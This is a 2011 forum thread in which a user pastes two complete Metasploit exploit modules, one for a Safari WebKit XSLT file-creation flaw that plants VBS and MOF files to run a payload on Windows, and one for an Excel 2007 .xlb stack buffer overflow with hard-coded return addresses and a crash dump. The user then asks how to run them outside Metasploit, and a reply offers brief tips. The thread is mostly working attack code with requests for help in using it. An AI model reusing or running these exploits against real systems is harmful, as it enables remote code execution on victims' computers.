PDA

View Full Version : how to use these code below


ciodragon
10-27-2011, 01:03 AM
these code was cut from metasploit as follow:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation',
'Description' => %q{
This module exploits a file creation vulnerability in the Webkit
rendering engine. It is possible to redirect the output of a XSLT
transformation to an arbitrary file. The content of the created file must be
ASCII or UTF-8. The destination path can be relative or absolute. This module
has been tested on Safari and Maxthon. Code execution can be acheived by first
uploading the payload to the remote machine in VBS format, and then upload a MOF
file, which enables Windows Management Instrumentation service to execute the VBS.
},
'License' => MSF_LICENSE,
'Author' => ['Nicolas Gregoire'],
'Version' => '$Revision: 13987 $',
'References' =>
[
['CVE', '2011-1774'],
['OSVDB', '74017'],
['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 20 2011'))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Check target before attacking
agent = request.headers['User-Agent']
if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
print_error("This target isn't supported: #{agent.to_s}")
send_not_found(cli)
return
end

url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'] + get_resource() + "/"

content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
This is needed, in order to later reference the XSLT stylesheet by a #fragment
This trick allows to have both the XML and the XSL in the same file
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>]>
<doc>

<!-- Define location and content of the files -->
<mof>
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof \\#{@mof_name}]]></location>
<content><![CDATA[#{@mof_content}]]></content>
</mof><vbs>
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_na me}]]></location>
<content><![CDATA[#{@vbs_content}]]></content>
</vbs>

<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sx="http://icl.com/saxon"
extension-element-prefixes="sx"
xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />

<!-- The XSLT template -->
<xsl:template match="/">
<!-- Define some XSLT variables -->
<xsl:variable name="moflocation" select="//mof/location/text()"/>
<xsl:variable name="vbslocation" select="//vbs/location/text()"/>
<!-- Create the files -->
<sx:output file="{$vbslocation}" method="text">
<xsl:value-of select="//vbs/content"/>
</sx:output>
<sx:output file="{$moflocation}" method="text">
<xsl:value-of select="//mof/content"/>
</sx:output>
<!-- Some output to the browser -->
<html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
EOS

#Clear the extra tabs
content = content.gsub(/^\t\t/, '')

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, content, {'Content-Type'=>'application/xml'})
handler(cli)

end

def exploit
# In order to save binary data to the file system the payload is written to a VBS
# file and execute it from there via a MOF
@mof_name = rand_text_alpha(rand(5)+5) + ".mof"
@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"

print_status("Encoding payload into vbs...")
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

print_status("Generating mof file...")
@mof_content = generate_mof(@mof_name, @vbs_name)
super
end

end



Q1:if i do not install the metasploit framework,how do i use these codes?
Q2:when open the metasploit framework and search "apple safari",there was not result given me,was any buddies encountered this problem,and how do you cope with it!


last,thanks all of you,good luck!

submegalodon
11-02-2011, 04:17 AM
Q1 - you cant use it without Metasploit
Q2 - tray search just "safari"

ciodragon
11-08-2011, 01:16 AM
Q1 - you cant use it without Metasploit
Q2 - tray search just "safari"
thanks first !
but if instead of this below :

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Excel of Microsoft Office 2007.
By supplying a malformed .xlb file, an attacker can control the content (source)
of a memcpy routine, and the number of bytes to copy, therefore causing a stack-
based buffer overflow. This results aribrary code execution under the context of
user the user.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 14172 $",
'Author' =>
[
'Aniway', #Initial discovery (via ZDI)
'abysssec', #RCA, poc
'sinn3r', #Metasploit
'juan vazquez' #Metasploit
],
'References' =>
[
['CVE', '2011-0105'],
['MSB', 'MS11-021'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'],
['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/']
],
'Payload' =>
{
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'DisablePayloadHandler' => 'true',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Win XP SP3 (Vista and 7 will try to repair the file)
['Microsoft Office Excel 2007 on Windows XP', {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007)
['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}], #JMP ESP in excel
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2011",
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The filename', 'msf.xlb'])
], self.class)
end

def exploit
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb')
f = File.open(path, 'rb')
template = f.read
f.close

p = payload.encoded

# Offset 1556
record = ''
record << "\xa7\x00" #record type
record << "\x04\x00" #record length
if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2
record << "\xb0\x0d\x0c\x00" #data
else
record << "\xb0\x0f\x0c\x00" #data
end

# Offset 1564
continue_record = ''
continue_record << "\x3c\x00" #record type
continue_record << [p.length+32].pack('v') #length

buf = ''
buf << template[0, 1556]
buf << record
buf << continue_record
buf << rand_text_alpha(1)
buf << [target.ret].pack('V*')
buf << "\x00"*12
buf << p
buf << template[2336, template.length]

file_create(buf)
end
end

=begin
0:000> r
eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005
eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
EXCEL!Ordinal40+0x1a263d:
301a263d 8908 mov dword ptr [eax],ecx ds:0023:41414141=????????
0:000> dc esp
00137ef8 00000000 00000000 41414141 41414141 ........AAAAAAAA
00137f08 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f18 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f28 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f48 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00137f58 41414141 41414141 41414141 00000000 AAAAAAAAAAAA....
00137f68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
=end

how do i use this exploit,which is MS11-021 Microsoft Office 2007 Excel .xlb local Buffer Overflow.as far as i know ,i must upload a exploit to the vulnerable server ,than run the exploit ,last can i escalate my privilege .however ,on my own pc ,how to use the local buffer overflow exploit ?!